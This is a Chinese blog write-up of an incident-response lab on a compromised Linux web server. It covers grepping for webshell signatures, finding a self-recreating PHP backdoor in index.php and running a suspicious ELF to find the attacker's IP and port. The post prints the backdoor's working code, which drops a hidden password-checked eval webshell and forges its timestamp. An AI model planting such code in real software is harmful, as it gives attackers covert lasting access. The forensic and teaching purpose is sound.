当前位置: 首页 > web >正文

第一章 应急响应- Linux入侵排查

手工排查

1.web目录存在木马,请找到木马的密码提交

先确定服务器使用的是什么语言,从而判断是什么文件类型的webshell
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ -type f -name "*.jsp" | xargs grep "exec("
find ./ -type f -name "*.php" | xargs grep "eval("
find ./ -type f -name "*.asp" | xargs grep "execute("
find ./ -type f -name "*.aspx" | xargs grep "eval("
//对于免杀Webshell,可以查看是否使用编码
find ./ -type f -name "*.php" | xargs grep “base64_decode”
  • **find ./ -type f -name "*.php"**
  • find:这是一个用于搜索文件和目录的命令。
  • ./:表示当前目录及其子目录。
  • -type f:表示只搜索文件(不包括目录)。
  • -name "*.php":表示只搜索扩展名为 .php 的文件。
  • 管道符,将前一个命令的输出作为下一个命令的输入。
  • **xargs grep "eval("**
  • xargs:将标准输入的数据转换为命令行参数。它会将 find 命令的输出传递给 grep
  • grep "eval(":搜索包含字符串 eval( 的行。

通过find搜索,木马的密码不是cmd就是1

flag{1}

2.服务器疑似存在不死马,请找到不死马的密码提交

不死马是一种具有持久性的后门程序,它被设计用来在受感染的系统上长期驻留并保持活跃。其目的是确保攻击者对系统的访问不会因为系统重启或其他干预措施而中断。

《不死马》特征

持久性:自启动:通过修改系统启动项、服务、计划任务等方式实现自启动。文件隐藏:使用技术手段隐藏自身文件,避免被发现和删除。多重存在:可能在多个位置部署副本,增强存活能力。隐蔽性:低调运行:以低优先级运行,不占用过多系统资源,减少被注意的可能。多态性:定期更改自身代码或行为模式,规避签名检测。日志清除:清除自身操作痕迹,减少被追踪的可能。多样化的保持机制:启动项:在 Windows 中,可以修改注册表中的启动项,在 Linux 中,可以修改 rc.local 或 crontab。服务劫持:创建或劫持合法的系统服务。计划任务:在系统计划任务中添加恶意任务。

在这里我们无法执行crontab -l

cat /etc/rc.local
ls /etc/init.d/
systemctl list-unit-files --type=service

我们重新看一下刚刚的三个文件

<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

index.php是不死马,它的核心是在html目录下创建一个.shell.php的后门文件,并伪造时间戳, 然后通过 md5 哈希验证密码后,执行传入的命令。

  • 微小延时

usleep(3000);

  • 使用 usleep 函数增加 3000 微秒(3 毫秒)的延时,虽然这个延时很短,但可能用于调节执行的节奏,以掩盖其操作痕迹。

我们解密一下md5的值

flag{hello}

3.不死马是通过哪个文件生成的,请提交文件名

这个我们根据上一题已经知道了,flag{index.php}

4.黑客留下了木马文件,请找出黑客的服务器ip提交

通过查看日志进行查找,看看是不是

都没有

还有一个可疑的文件’shell(1).elf’

.elf文件

.elf 文件是指可执行与可链接格式(Executable and Linkable Format, ELF),它是一种常见的文件格式,用于存储可执行文件、目标代码、共享库以及核心转储(core dump)。ELF 文件主要在 Unix 和 Unix-like 操作系统中使用,包括 Linux、BSD、Solaris 等。

我们通过赋予’shell(1).elf’权限,执行进行一个提权,执行命令

需要再开一个ssh连接

netstat -antlp | more 这个命令组合了 netstat 和 more 两个命令,用于显示网络连接和监听端口的详细信息,并通过分页方式呈现输出内容。下面是对每个部分的详细分析:

netstat 命令

netstat 是一个网络工具,用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息。

选项和参数

-a:显示所有连接中的端口,包括监听和非监听。-n:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。-t:显示 TCP 连接。-l:显示监听状态的套接字。-p:显示使用每个套接字的程序。

字段解释

Proto:协议(Protocol)显示协议类型,常见的有 tcp 和 udp。Recv-Q:接收队列(Receive Queue)显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。Send-Q:发送队列(Send Queue)显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。Local Address:本地地址显示本地端的 IP 地址和端口号。例如:0.0.0.0:80 表示本地所有 IP 地址上的 80 端口。Foreign Address:远程地址显示远程端的 IP 地址和端口号。例如:192.168.1.1:12345 表示远程 IP 为 192.168.1.1 的 12345 端口。State:状态显示连接的状态。常见状态有:LISTEN:正在监听连接。ESTABLISHED:已建立连接。CLOSE_WAIT:等待关闭连接。TIME_WAIT:等待足够的时间以确保远程主机收到关闭请求。PID/Program name:进程 ID 和程序名显示使用该连接的进程的进程 ID 和程序名。例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。

flag{10.11.55.21}

5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

flag{3333}

工具测试

![](https://i-blog.csdnimg.cn/img_convert/74823c7bb36f9c05d52d7e872b236c89.png)

右键查看就能够看到木马了

http://www.xdnf.cn/news/3016.html

相关文章:

  • 文件基础-----C语言经典题目(11)
  • 前端vue2修改echarts字体为思源黑体-避免侵权-可以更换为任意字体统一管理
  • Linux 权限管理
  • API文档生成与测试工具推荐
  • 提示词工程实战指南:解锁AI创作的隐藏技巧与实例
  • AI驱动全流程基于PLUS-InVEST模型的生态系统服务多情景智能模拟与土地利用优化、论文写作
  • Python3: 函数式编程特性
  • 基于Spring Boot 电商书城平台系统设计与实现(源码+文档+部署讲解)
  • Day16(贪心算法)——LeetCode45.跳跃游戏II763.划分字母区间
  • 异步IO与Tortoise-ORM的数据库
  • Markdown转WPS office工具pandoc实践笔记
  • 从 Pretrain 到 Fine-tuning:大模型迁移学习的核心原理剖析
  • 《数据结构之美--二叉树oj题练习》
  • 数据结构每日一题day13(链表)★★★★★
  • C语言教程(二十二):C 语言头文件详解
  • kafka消息的顺序性如何保持一致的
  • HTML Picture标签详细教程
  • 使用DDR4控制器实现多通道数据读写(十)
  • SpringBoot中获取系统及硬件信息
  • I2C、SPI、UART 协议详解:优缺点与使用场景
  • Git操作指令
  • Nacos源码—2.Nacos服务注册发现分析三
  • 数据库概论速成期中版
  • RHCE第七章:SElinux
  • 初中九年级学生体测准考证照片采集软件使用说明
  • 机器学习之五:基于解释的学习
  • 【codeforces 2104D,E】欧拉筛,字符串上dp
  • 深度剖析 RocketMQ 5.0 之消息进阶:如何支撑复杂业务消息场景?
  • 飞鸟游戏模拟器 1.0.3 | 完全免费无广告,内置大量经典童年游戏,重温美好回忆
  • React 19 用到的新特性